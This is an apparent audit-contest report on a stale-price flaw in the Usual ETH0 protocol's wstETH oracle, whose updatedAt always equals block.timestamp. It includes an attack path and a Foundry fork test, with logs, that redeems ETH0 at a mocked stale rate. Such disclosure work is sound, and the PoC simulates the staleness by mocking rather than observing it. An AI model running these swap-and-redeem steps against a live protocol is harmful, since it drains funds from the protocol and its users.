Elegant Grape Swift

High

# Useless staleness checks, even though `stEthPerToken` can return stale prices, which puts the protocol at risk

### Summary

`LidoProxyWstETHPriceFeed` assumes that prices are always fresh (which is not the case), which risks the usage of stale prices.

### Root Cause

In [`LidoProxyWstETHPriceFeed::latestRoundData()`](https://github.com/sherlock-audit/2025-05-usual-eth0/blob/main/eth0-protocol/src/oracles/LidoWstEthOracle.sol#L88), `updatedAt` always return `block.timestamp`, which means they assume that `stEthPerToken()` returns always fresh prices.

However, that's not the case ! According to [Lido's documentation](https://docs.lido.fi/guides/lido-tokens-integration-guide/#what-is-wsteth):
> Normally, ***the rate gets updated once a day***, when stETH undergoes a rebase. The current rate can be obtained by calling wstETH.stEthPerToken() or wstETH.getStETHByWstETH(10 ** decimals).

As you can see, the rate reported by `stEthPerToken()` isn't fresh, and it gets updated once a day. And as you can see that they said "Normally", which means that sometime it can take longer than that to update the rate.

So then, in `ClassicalOracle.sol::_latestRoundData()`, [this staleness check](https://github.com/sherlock-audit/2025-05-usual-eth0/blob/main/eth0-protocol/src/oracles/ClassicalOracle.sol#L86) will be useless:
```solidity
        if (block.timestamp > $.tokenToOracleInfo[token].timeout + updatedAt) {
            revert OracleNotWorkingNotCurrent();
        }
```

Because `updatedAt` is always equal to `block.timestamp`, so `block.timestamp > $.tokenToOracleInfo[token].timeout + updatedAt` will never be true even if the price is stale the the rate hasn't been updated for more than a day.

### Note
According to Sherlock documentation:
> the recommendation to implement stale price checks may be valid. For [example](https://github.com/sherlock-audit/2024-12-mach-finance-judging/issues/41), the protocol may be using Pyth pull-based oracle, which requires requesting the price before using it. Hence, if we don't request the price firstly, or check it for staleness, then we can end up using very old price (e.g. from 1 hour/day ago).

Here we're not using Pyth, but we're using WSTETH, which also can report a price that hasn't been updated for more than a day.

### Internal Pre-conditions

N/A. (wrong assumption in the code)

### External Pre-conditions

It can cause serious consequences if the rate hasn't been updated for more than a day.

### Attack Path

1. First, 1 wstETH = 1 ETH.
2. User swaps 1000 wstETH for 1000 ETH0.
3. Price now becomes: 1 wstETH = 1.2 ETH.
4. But `stEthPerToken` fails to update.
5. User redeems 1000 ETH0 for 1000 wstETH, instead of the correct amount (~833 wstETH). (ignoring the redeem fee for simplicity).
6. This leads to loss of funds to the protocol.

### Impact

Risks using stale prices, which leads to loss of funds to the protocol or users.

### PoC

Put the following test undre `./test/PoC.t.sol`:
```solidity
// SPDX-License-Identifier: Apache-2.0
pragma solidity 0.8.20;

import "forge-std/console.sol";
import {IERC20} from "openzeppelin-contracts/token/ERC20/IERC20.sol";
import {IERC20Metadata} from "openzeppelin-contracts/token/ERC20/extensions/IERC20Metadata.sol";
import {SetupTest} from "./setup.t.sol";
import {Eth0} from "src/token/Eth0.sol";
import {DaoCollateral} from "src/daoCollateral/DaoCollateral.sol";
import {LidoProxyWstETHPriceFeed} from "src/oracles/LidoWstEthOracle.sol";
import {
    SCALAR_ONE,
    WSTETH
} from "src/constants.sol";
import {
    AmountTooLow,
    InvalidToken
} from "src/errors.sol";

contract UsingStalePrice is SetupTest {
    /*//////////////////////////////////////////////////////////////
                            1. SETUP & HELPERS
    //////////////////////////////////////////////////////////////*/
    function setUp() public virtual override {
        uint256 forkId = vm.createFork("eth");
        vm.selectFork(forkId);
        super.setUp();

        // Set up wstETH as collateral
        address wstETH = address(WSTETH); // 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0
        vm.label(wstETH, "WSTETH Forked");
        if (!tokenMapping.isEth0Collateral(wstETH)) {
            vm.prank(admin);
            tokenMapping.addEth0CollateralToken(wstETH);
        }

        // Deploy LidoProxyWstETHPriceFeed with real wstETH
        LidoProxyWstETHPriceFeed wstEthOracle = new LidoProxyWstETHPriceFeed(wstETH);
        vm.label(address(wstEthOracle), "WstETHOracle");

        // Set oracle for wstETH with 24-hour timeout
        vm.prank(admin);
        classicalOracle.initializeTokenOracle(
            wstETH,
            address(wstEthOracle),
            24 hours,
            false
        );
        // Mock initial price: 1 wstETH = 1 ETH
        vm.mockCall(
            address(wstEthOracle),
            abi.encodeWithSelector(LidoProxyWstETHPriceFeed.latestRoundData.selector),
            abi.encode(1, int256(1e18), block.timestamp, block.timestamp, 1)
        );
        uint256 initialPrice = uint256(classicalOracle.getPrice(wstETH));
        console.log("Initial wstETH/ETH price:", initialPrice, "(raw units)");
        assertEq(initialPrice, 1e18, "Initial price should be 1 ETH");

        // Fund attacker (bob) and treasury
        deal(wstETH, bob, 1000e18); // 1000 wstETH
        deal(wstETH, treasury, 1000e18); // Treasury wstETH
        vm.prank(treasury);
        IERC20(wstETH).approve(address(daoCollateral), 1000e18);
        deal(address(stbcToken), treasury, 1000e18); // Treasury ETH0
        console.log("Bob wstETH balance:", IERC20(wstETH).balanceOf(bob) / 1e18, "wstETH");
        console.log("Treasury wstETH balance:", IERC20(wstETH).balanceOf(treasury) / 1e18, "wstETH");
        console.log("Treasury ETH0 balance:", stbcToken.balanceOf(treasury) / 1e18, "ETH0");
    }

    function test_UsingStalePrice() public {
        // Step 1: Bob swaps 1000 wstETH for 1000 ETH0 at 1 wstETH = 1 ETH
        vm.startPrank(bob);
        IERC20(WSTETH).approve(address(daoCollateral), 1000e18);
        daoCollateral.swap(WSTETH, 1000e18, 1000e18); // Expect 1000 ETH0
        uint256 eth0Balance = stbcToken.balanceOf(bob);
        console.log("After swap - Bob ETH0 balance:", eth0Balance / 1e18, "ETH0");
        console.log("After swap - Bob wstETH balance:", IERC20(WSTETH).balanceOf(bob) / 1e18, "wstETH");
        console.log("After swap - Treasury wstETH balance:", IERC20(WSTETH).balanceOf(treasury) / 1e18, "wstETH");

        // Step 2: Price changes to 1 wstETH = 1.2 ETH, but stEthPerToken fails to update
        // LidoProxyWstETHPriceFeed's staleness check is useless, so it won't detect staleness
        // oracle reports 1 ETH due to stale price (as stEthPerToken doesn't update)
        uint256 stalePrice = uint256(classicalOracle.getPrice(WSTETH));
        console.log("Stale  wstETH/ETH price :", stalePrice, "(raw units)");
        console.log("Correct wstETH/ETH price:", 1.2e18, "(raw units)");

        // Step 3: Bob redeems 1000 ETH0, he should get ~833 wstETH minus fee, but gets 1000 wstETH minus fee
        stbcToken.approve(address(daoCollateral), 1000e18);
        daoCollateral.redeem(WSTETH, 1000e18, 900e18);
        uint256 wstEthBalanceAfterRedeem = IERC20(WSTETH).balanceOf(bob);
        console.log("After redeem - Bob wstETH balance:", wstEthBalanceAfterRedeem / 1e18, "wstETH");
        console.log("After redeem - Bob ETH0 balance:", stbcToken.balanceOf(bob) / 1e18, "ETH0");
        console.log("After redeem - Treasury wstETH balance:", IERC20(WSTETH).balanceOf(treasury) / 1e18, "wstETH");

        // Verify exploit
        uint256 redeemFee = daoCollateral.redeemFee();
        uint256 expectedWstETH = 833e18 - (833e18 * redeemFee / 10_000); // 833 because 1000 ETH0 / 1.2 ETH/wstETH
        uint256 receivedWstETH = wstEthBalanceAfterRedeem;
        console.log("Expected wstETH:", expectedWstETH, "(raw units)");
        console.log("Received wstETH:", receivedWstETH, "(raw units)");

        // Calculate protocol loss
        uint256 lossInWstETH = receivedWstETH - expectedWstETH;
        console.log("Protocol loss in wstETH:", lossInWstETH / 1e18, "wstETH");
        vm.stopPrank();
    }
}
```

### Output:
```bash
[PASS] test_UsingStalePrice() (gas: 279038)
Logs:
  Initial wstETH/ETH price: 1000000000000000000 (raw units)
  Bob wstETH balance: 1000 wstETH
  Treasury wstETH balance: 1000 wstETH
  Treasury ETH0 balance: 1000 ETH0
  After swap - Bob ETH0 balance: 1000 ETH0
  After swap - Bob wstETH balance: 0 wstETH
  After swap - Treasury wstETH balance: 2000 wstETH
  Stale  wstETH/ETH price : 1000000000000000000 (raw units)
  Correct wstETH/ETH price: 1200000000000000000 (raw units)
  After redeem - Bob wstETH balance: 999 wstETH
  After redeem - Bob ETH0 balance: 0 ETH0
  After redeem - Treasury wstETH balance: 1001 wstETH
  Expected wstETH: 832167000000000000000 (raw units)
  Received wstETH: 999000000000000000000 (raw units)
  Protocol loss in wstETH: 166 wstETH
```

### Mitigation

Don't return `block.timestamp` in `updatedAt` in `latestRoundData`. Instead, you should use last time the rate was updated.